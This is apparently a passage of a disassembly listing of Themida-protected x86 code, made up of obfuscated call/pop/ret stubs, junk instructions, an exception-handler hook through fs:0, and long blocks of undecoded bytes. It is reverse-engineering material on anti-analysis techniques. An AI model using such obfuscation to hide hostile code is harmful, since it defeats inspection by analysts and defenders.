		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5C9440	endp

; ---------------------------------------------------------------------------
		push	es
		jle	short near ptr loc_5C94BF+4
		lodsd
		xor	eax, 70D0031h
		mov	esi, [ebp+7E41D55h]
		mov	esi, 67DCB738h
		cmp	dword ptr [ebp+7E413F1h], 0
		jnz	short loc_5C9476
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5C948F


loc_5C9476:				; CODE XREF: Themida_:005C946Bj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 438h
		mov	[ebp+7E41479h],	eax
		lea	ebx, [ebp+7E6E9F0h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5C948F:				; CODE XREF: Themida_:005C9474j
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5C94AF
		push	eax
		push	ebx
		mov	eax, 438h
		mov	[ebp+7E41479h],	eax
		lea	ebx, [ebp+7E6E6DFh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5C94AF:				; CODE XREF: Themida_:005C9496j
		push	0
		push	eax
		call	sub_5C94BA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C94BA	proc near		; CODE XREF: Themida_:005C94B2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax


loc_5C94BF:				; CODE XREF: Themida_:005C9451j
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5C94BA	endp

; ---------------------------------------------------------------------------
		adc	[edi], ah
		add	eax, 11B50B91h
		add	al, 0E4h
		pop	es
		push	0
		push	ebx
		call	sub_5C94DF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C94DF	proc near		; CODE XREF: Themida_:005C94D7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5C94DF	endp

; ---------------------------------------------------------------------------
		db 0D6h
		dd 7C91323Ah, 0E87F2F95h, 8BC08BFCh, 0E43585BDh, 866E807h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 5FE744C3h, 0AFA6AFEFh, 0F558D77h,	68Bh, 8DBD8B00h
		dd 0F07E422h, 68Eh, 0B9BD2300h,	8B07E400h, 0E42FE1B5h
		dd 59858907h, 8907E40Ah, 0E40B9D8Dh, 812E807h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0F755ACC3h, 0B00BE280h, 11E97Bh, 0EFE20000h,	0D18ABC08h
		dd 0E0CEE74Dh, 655F3D36h, 89D9CCBEh, 0E406A585h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 66FCB674h, 32FEE181h, 7ABE8h, 89B96600h, 118589B4h
		dd 6A07E418h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0A350C350h, 0CDACD735h, 0E8C759C5h
		dd 778h, 341C681h, 858949E2h, 7E40919h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 0CAC35242h, 0B479E519h
		dd 0FE01A88h, 684h, 29B58B00h, 0E807E41Ch, 738h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 54C35646h, 659D895Bh
		dd 107E41Eh, 0E414DDBDh, 89F78B07h, 0E422FD85h,	56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0DCE4A58h, 0DCE5FA75h, 6DEE804h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B1F70CC3h
		dd 0AA5B9B83h, 0F18B668Ah, 89FBBF0Fh, 0E4158185h, 5F506007h
		dd 0E8615A50h, 6A4h, 68F0Fh, 85890000h,	7E42009h, 1E158589h
		dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0E8F43CC3h, 0Fh, 0AEDBA021h, 77F1C840h, 0F670412Fh
		dd 6621A1FBh, 0E85FF18Bh, 658h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 35C35747h, 14428D92h, 0E4ED9185h
		dd 0AED8589h, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0E87B05C3h, 60Ch, 4B60BE66h, 2D58589h
		dd 10E907E4h, 0CE000000h, 6F24F55Ch, 6F8FA2EDh,	501D756Eh
		dd 0E8277426h, 5E8h, 14E8h, 0E5921D00h,	0A5825F24h, 12ECB50Ch
		dd 3CC75F8Fh, 0C2CC59E8h, 1810FEBh, 0F9000000h,	13E85Fh
		dd 6B040000h, 37227A7h,	8F515E1Dh, 0A14728A4h, 0E901D35h
		dd 19D896Dh, 5907E427h,	1D498589h, 0BF0F07E4h, 59AE8F1h
		dd 66600000h, 631DB81h,	4718589h, 896107E4h, 0E41E8D85h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0C3420220h, 0E8EE8A7Bh, 560h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C7C35141h, 7C8C66Ah
		dd 446DA8B8h, 9D29606Bh, 7E4093Dh, 68B0Fh, 0BD230000h
		dd 7E42AA5h, 91858961h,	8907E422h, 0E4009D85h, 2DB50107h
		dd 0E807E427h, 510h, 811AB966h,	1D5D8589h, 830F07E4h, 5
		dd 4DAC4EBFh, 4F6E80Ah,	95290000h, 7E42AEDh, 2BF18589h
		dd 0BE907E4h, 9F000000h, 0F191216Dh, 990C497Eh,	0D5E83C31h
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 8677C357h, 0E948896Bh,	0Fh, 8169C1C7h
		dd 0BECB9293h, 8099DD5Ah, 89D7F634h, 0E4063585h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0CC8A7923h, 6860FC5h, 8B000000h, 0E405798Dh,	0FAB70F07h
		dd 467E8h, 0C98D8B00h, 8907E421h, 0E40E1585h, 13E907h
		dd 0C5610000h, 7144C325h, 80A7FEC9h, 0F014CF32h, 75DEFB95h
		dd 2900B00Dh, 0E4014595h, 0D8B60F07h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 15C35343h, 7D69B573h, 0B2BE6641h
		dd 6BA49h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 9B8F2EC3h, 5800F6F7h, 66BDAAE4h
		dd 8B1AC1BEh, 0AE8C3h, 6CE10000h, 207A87CCh, 0EB251DE8h
		dd 0C15EF78Bh, 6A04E8h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0CCB5ECC3h, 27CF5B1Eh, 0E058D89h
		dd 0F76607E4h, 53006AE2h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 20E41E7Fh, 58B12F32h
		dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 54E1DDC3h, 0FB40F795h, 0B150539Bh, 241C89D9h
		dd 0D2C98166h, 9195FF7Dh, 3107E42Dh, 0E4158D95h, 6A5B07h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0E60903C3h, 0BD89A678h, 7E42FF5h, 1C0D958Dh,	6A07E4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 2B1CCCC3h, 8936A1D6h, 0BD01501Ah, 7E422BDh, 442895Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h
		dd 87F8CB84h, 8B6625D6h, 49958DF0h, 6A07E403h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 8E34C352h, 89FCF17Fh, 0E43315BDh, 6A1A8907h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 375C357h, 68D0FCEh, 1000000h, 0E42D59B5h, 4428907h
		dd 8EE98166h, 0C5958DEFh, 6A07E425h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0A524C357h
		dd 1A893D3Eh, 89F98B66h, 6A0442h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0DBE790C3h, 95BD8B56h
		dd 5907E420h, 30498D2Bh, 958D07E4h, 7E42179h, 2A79B58Bh
		dd 1A8907E4h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	5BC35646h, 3C4DE441h, 0F5A263AEh, 2899529h, 428907E4h
		dd 3DBD8904h, 0E907E424h, 0Dh, 0ECDBEE1Fh, 3D39D7B8h, 0EA714778h
		dd 0D958D9Fh, 8B07E424h, 0E42B39BDh, 6A1A8907h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 5AEFC355h, 79798034h, 5DBD0190h, 8907E42Bh, 6A0442h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 45F6E2C3h, 518D8902h, 8B07E433h, 0E41E01BDh,	0C800F07h
		dd 0F000000h, 689h, 0ADBD8B00h,	8D07E42Ah, 0E40F2995h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 958921C4h, 7E40F19h, 0F1FCD7B9h,	6A1A893Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 471AC351h, 186A7943h, 2365BD8Bh, 428907E4h
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0D18166D9h, 958D4D95h, 7E403F1h,	25ED8529h
		dd 1A8907E4h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	40C35646h, 6650D8FEh, 895EF88Bh, 6A0442h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 631886C3h, 0DC4C2564h, 8529A8FDh,	7E414FDh
		dd 0AD958Dh, 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0E72D8CC3h, 0A14473EEh, 57027214h
		dd 0A1D9D89h, 895F07E4h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 4289718Dh, 0A7C18104h
		dd 0E97AE6A2h, 0D3h, 0D6BF0F60h, 61CFB70Fh, 6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 4A351C3h, 0E19B58Bh,	800F07E4h, 6, 1915B509h, 6A07E4h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0E9A4D1C3h, 6, 9B9F84E8h,	0CE96627h, 96000000h
		dd 191AB31Dh, 1AB4C3D5h, 6AA97B74h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0D124E793h
		dd 0FF272987h, 0E40E6D95h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 5C6DF03Ch
		dd 318D09F9h, 0C307E42Ch, 6E9h,	91CA5700h, 8A69A364h, 6DBEC5h
		dd 0C08B282Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0CCC35747h, 83FBB70Fh, 0E413F1BDh, 9750007h, 935BD83h
		dd 740007E4h, 8B535019h, 438B8C0h, 85890000h, 7E40EEDh
		dd 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h
		dd 438B853h, 85890000h,	7E40EEDh, 0E6F89D8Dh, 0D3FF07E6h
		dd 68B5585Bh, 11E9h, 0E3B72D00h, 0AA785AEBh, 73ABE989h
		dd 5D4089F3h, 6ABF26h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 20A224C3h, 0F28B6200h
		db 8Bh,	0C0h
word_5C9EE6	dw 858Dh		; DATA XREF: Themida_:00583810o
		dd 7E40D85h, 32F5BD03h,	0BD8907E4h, 7E42EF1h, 6E850h, 1A280000h
		dd 184E9C00h, 2404895Bh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 6AC35545h, 70B58835h,	42058EDAh, 25CDBD8Bh
		dd 6A07E4h, 38C0Fh, 0D7800000h,	8B006A72h, 0E421759Dh
		dd 33858D07h, 2907E87Ch, 0E40BA995h, 5C08307h, 0E8B0Fh
		dd 1600000h, 0E421A18Dh, 4DBD0107h, 6107E42Bh, 8B665090h
		dd 6A90F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 72E251C3h, 68C0FF0h, 89000000h, 0E42F75BDh
		dd 33006A07h, 0E40EE19Dh, 6A006A07h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0FF0DC352h
		dd 0E4247195h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 42CE39F6h, 0F98B6617h
		dd 0D64B8D8Dh, 0B58907E7h, 7E4046Dh, 6AD1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 8D29D4C3h
		dd 7E41945h, 2015BD83h,	0F0107E4h, 9985h, 899D0900h, 6A07E408h
		dd 57006A02h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 19D8938h, 6607E430h, 0CDC2DB81h,	0BE990h
		dd 0BA4F0000h, 7D5B543Fh, 0ED3A33CBh, 6E950BFh,	19000000h
		dd 795630D2h, 6A9007h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 4E3A7AC3h, 0FFB61A4Eh, 0E431AD95h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 448706B9h, 167DBD33h, 0FFE907E4h, 0E800000Dh
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7E87C3Dh
		push	0
		push	ebx
		call	sub_5CA0DA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA0DA	proc near		; CODE XREF: Themida_:005CA0D2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5CA0DA	endp

; ---------------------------------------------------------------------------
		dw 0BC94h
		db  96h	; –
		db  94h	; ”
		db 0E9h	; ι
		db  0Fh
		db    0
		db    0
		db    0
		db 0F2h
		dd 0AB80F677h, 7E0C58D8h, 0CBB8403Eh, 6AE1ACh, 3E851h
		dd 59200000h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_5CA10D	proc near

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5CA10D	endp

; ---------------------------------------------------------------------------
		popa
		mov	cl, 0C5h
		jnz	short loc_5CA164
		mov	ebx, [ebp+7E415D9h]
		lea	eax, [ebp+7E7C6E1h]
		push	0
		push	ecx
		call	sub_5CA139
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA139	proc near		; CODE XREF: Themida_:005CA131p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5CA139	endp

; ---------------------------------------------------------------------------
		db 2, 18h, 5Fh
		dd 40A3EDD6h, 6650B477h, 489F98Bh, 50006A24h, 3E8h, 0C3582000h
; ---------------------------------------------------------------------------


loc_5CA164:				; CODE XREF: Themida_:005CA120j
		pop	eax
		mov	[esp+4], eax
		add	dword ptr [esp+4], 15h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		fadd	dword ptr [esi-41h]
		xor	eax, 6443930Bh
		push	large dword ptr	ds:0
		mov	[ebp+7E405BDh],	ebx
		mov	edi, [ebp+7E42245h]
		mov	large fs:0, esp
		jmp	loc_5CA1AB
; ---------------------------------------------------------------------------
		dw 367Ch
		dd 6D834331h, 4C73D6BDh, 8B5FA332h
		db 0ECh, 88h, 42h
; ---------------------------------------------------------------------------


loc_5CA1AB:				; CODE XREF: Themida_:005CA195j
		inc	dword ptr [ebp+7E420B9h]
		sub	[ebp+7E41C85h],	edi
		push	0FFFFFFFFh
		jz	loc_5CA1C1
		mov	bl, 5Dh


loc_5CA1C1:				; CODE XREF: Themida_:005CA1B9j
		push	dword ptr [ebp+7E40A59h]
		push	0
		push	ecx
		call	sub_5CA1D2
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA1D2	proc near		; CODE XREF: Themida_:005CA1CAp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5CA1D2	endp

; ---------------------------------------------------------------------------
		dw 88D5h
		dd 15606CD5h, 0C080605Ah, 68D0F2Bh, 0F000000h, 82h, 95FF6100h
		dd 7E4304Dh, 149E9h, 518D3100h,	0B007E422h, 9E800h, 731E0000h
		dd 70186DF4h, 0FC6D2527h, 8170E65Fh, 2A35E4D7h,	6671E47Dh
		dd 613CDF8Bh, 11C830Fh,	0BD230000h, 7E40745h, 8BC8B60Fh
		dd 0E40E61BDh, 0CDBD8907h, 0BA07E425h, 6, 2B5D8529h, 0C18B07E4h
		dd 0A95D8DBBh, 4E8C13Dh, 3CDBF66h, 0FE2F766h, 0C82BFBBFh
		dd 8E8h, 0FFEA5100h, 66C989CAh,	5FD88B4Ah, 5753D18Bh, 5BFE8B66h
		dd 29B5895Bh, 0E907E402h, 20h, 31B99D89h, 0FE807E4h, 79000000h
		dd 1933E23h, 1E6E764Bh,	0D2965205h, 57BB27F7h, 5F226D59h
		dd 1C0D858Bh, 9D8B07E4h, 7E403DDh, 6E8h, 74AEC700h, 0E971642Fh
		dd 0Dh,	4703BC4Fh, 0B77EB792h, 0C01BF07Ah, 0C0835F81h
		dd 2D8D0107h, 8307E427h, 9D2B00C0h, 7E40191h, 830FD03Bh
		dd 1Dh,	840Fh, 53E90000h, 0F000000h, 68Ch, 0E5EB8100h
		dd 817BB0D7h, 7CC73CC7h, 858D8B3Fh, 0F07E423h, 289h, 83D0B300h
		dd 840F01E1h, 2Ah, 2ABD9589h, 890F07E4h, 6, 1FCBCF81h
		dd 0A5836F0Bh, 7E42385h, 8D9D09FEh, 8907E414h, 0E41C0D95h
		dd 0E907h, 0B58D0000h, 7E80F99h, 8A0F6060h, 0
; ---------------------------------------------------------------------------
		mov	dh, bl
		popa
		and	ch, 2Fh
		popa
		push	0
		jmp	loc_5CA374
; ---------------------------------------------------------------------------
		dw 0D1B1h
		dd 0F936D48Ah, 0CB608250h
; ---------------------------------------------------------------------------


loc_5CA374:				; CODE XREF: Themida_:005CA365j
		call	dword ptr [ebp+7E40E41h]
		push	0
		push	esi
		call	sub_5CA385
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA385	proc near		; CODE XREF: Themida_:005CA37Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5CA385	endp

; ---------------------------------------------------------------------------
		db 3Eh,	60h, 8Bh
		dd 0E38166DAh, 0B961D947h, 6FAh, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 1Ah, 0C3C35040h,	0CC6F5DABh, 8B0F4538h
		dd 6, 35858D89h, 0E18307E4h, 51006AFCh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0D98B66D0h
		dd 50006AFCh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0B8E524h, 8B000000h, 0E40035BDh,	0FD22B07h
		dd 33ADDEBFh, 3E8D1C2h,	4E983D0h, 13E9F475h, 0E000000h
		dd 5DD68F33h, 0A416FAECh, 6B7A28C1h, 1039D00Dh,	0DA8BCBFBh
		dd 880Dh, 31953100h, 8B07E40Eh,	0E41B7195h, 89B58907h
		dd 8B07E423h, 0E42DA18Dh, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 2FBC9BC6h
		dd 0C4FA4AFCh, 880FFFB8h, 14h, 0BE8h, 98305400h, 7927340Fh
		dd 0F1C57586h, 5B93D780h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 800F5818h, 4, 0AE26BB66h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 0CEC35040h, 5B43C9CCh
		dd 0B3DF36B2h, 11BD835Ah, 7E406h, 19840Fh, 0B80000h, 89000000h
		dd 0E415B19Dh, 0E78D8D07h, 8B07E44Fh, 0E405259Dh, 83E1FF07h
		dd 0E422B9BDh, 840F0007h, 4F4h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0E9C35646h,	81667FACh, 831A62CBh
		dd 0E422B9BDh, 840F0107h, 4DFh,	0BD83DF8Bh, 7E422B9h, 9A860F03h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0E02CC355h, 9161F2E4h,	99D3360h
		dd 0E807E41Bh, 7, 0E6F37AE0h, 660DD3B2h, 6159F28Bh, 55006A60h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 813814B7h, 441499CBh, 0D88B6637h, 6AD98C66h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 664BC350h, 92F7E781h, 6A04E180h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0A26C356h
		dd 8D840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 11FC355h, 0C8B9595Fh
		dd 858BD88Bh, 7E40651h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 29C35343h, 77DCFE5Ch,	0DDE58530h, 0AE9h
		dd 96231100h, 86F476A1h, 3307AD9Ah, 0E4202985h,	0E7EF8107h
dword_5CA668	dd 504A1EE0h, 489F98Ah,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
					; DATA XREF: Themida_:0059E3B4o
		dd 24448104h, 1A04h, 0C3554500h, 9A9D24F3h, 9576C92h, 0E41A11B5h
		dd 6AF807h, 2175BD89h, 0E95207E4h, 9, 6AD8FD4Ch, 9BA0E1F1h
		dd 0B3685BC6h, 0F2E640Fh, 148Fh, 0FE900h, 0ECE40000h, 0DD7C1913h
		dd 228F3F1Bh, 14ADA95Ah, 2434819Eh, 2E7B0C4Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B6C35141h, 0B11571B8h
		dd 36D48AD1h, 0FF98B66h, 95FFFAB7h, 7E42D99h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 83C35242h, 1836D5CAh
		dd 548A5133h, 8E8h, 0BB96AD00h,	0B8182578h, 28B0FF3h, 53000000h
		dd 85895F5Fh, 7E7F8A5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 38C35646h, 0A68A7B7Fh, 8C24F49Ch, 1BAE9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0F582437Ah, 0F89D858Bh, 958907E7h, 7E41925h
		dd 1800C7h, 0BD8B0000h,	7E42501h, 0F8A1B58Bh, 9D8907E7h
		dd 7E41B35h, 2D45BD03h,	858B07E4h, 7E40099h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 48C35040h, 4FB320ABh
		dd 0F7E9A31h, 68Ah, 41BD8B00h, 8907E419h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0B3303502h, 0BE9E5B5Fh, 9DB589h, 0DA8B07E4h,	651858Bh
		dd 8D0907E4h, 7E41449h,	6A044689h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 5A0BC350h
		dd 96509618h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	1C35242h, 9F77E13Eh, 0B5FFD294h, 7E7F89Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CDC35040h, 12E31071h
		dd 7C686DCCh, 0B3B968C0h, 24048159h, 46B64383h,	0A5858DF8h
		dd 6A07E7F8h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0B897C356h, 0BB556C58h, 5DE31ECAh
		dd 50DF8B90h, 3513BF66h, 50006A90h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0CF886F59h, 0E6BF9E6Ah
		dd 0FFFE8B66h, 0E42D9995h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8D31D38Dh
		dd 7E40705h, 61C2DB80h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 64C35040h, 0FB8B66A5h, 209AF4BBh, 0B985C734h
		dd 307E422h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0F7D2C356h,	60CF0227h
		dd 66D9D89h, 0B70F07E4h, 0BD8361D6h, 7E7F8A5h, 5E840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 1988C351h, 0BD293FCBh,	7E40A75h
		dd 4FE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0E2554949h, 7E81D8Eh, 0EA000000h
		dd 4C9D8E62h, 0BD0BFDB4h, 7E41481h, 0C30505Fh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 89D4EB80h, 0E4228D8Dh
		dd 0B9BD8307h, 307E422h, 435850Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 236BFC3h
		dd 14DF0888h, 19B19D89h, 0BF6607E4h, 0BD832925h, 7E7F8A5h
		dd 0FC840F00h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8B28C353h, 0E41B2D9Dh
		dd 0A5B5FF07h, 0E807E7F8h, 11h,	0A2EFDCD6h, 0BC805189h
		dd 0E13FAD42h, 7540B26h, 0EF8166C4h, 0FF5FAEABh, 0E4044D95h
		dd 41BD8907h, 8B07E41Bh, 0E7F899B5h, 106C707h, 33000100h
		dd 0E415219Dh, 8E0F9607h, 2, 8B5014B7h,	6A96FBh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 12AF5BC3h, 0A659D03h, 0B5FF07E4h, 7E7F8A5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D0C35141h, 7E95281h
		dd 0B7000000h, 920399DEh, 0FF5BBA1Bh, 0E42A0995h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BB66387Ah, 0B58B2038h, 7E7F899h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0CCC35343h,	0E9104A72h, 9
		dd 0A230DE7Ch, 0F9C712F4h, 0C7816617h, 858BB915h, 7E43165h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 85C35141h
		dd 958B60A0h, 7E41B0Dh,	64D9509h, 896107E4h, 0C486h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 4728A48Fh, 958B35A1h, 7E41B71h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 28C35545h, 0CC8B7F08h, 510994h
		dd 79B5896Dh, 0F807E400h, 0F04C283h, 88h, 20508900h, 68A0Fh
		dd 95890000h, 7E41B8Dh,	0CD4858Dh, 952907E8h, 7E42FA9h
		dd 86896CB3h, 0B8h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0A9C35040h, 338349EFh, 8D89C452h, 7E413A1h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 44347EC3h, 0B0C1DC10h, 1619D8Bh, 0B5FF07E4h
		dd 7E7F8A5h, 0A858D89h,	8B6607E4h, 0AD95FFDEh, 8907E431h
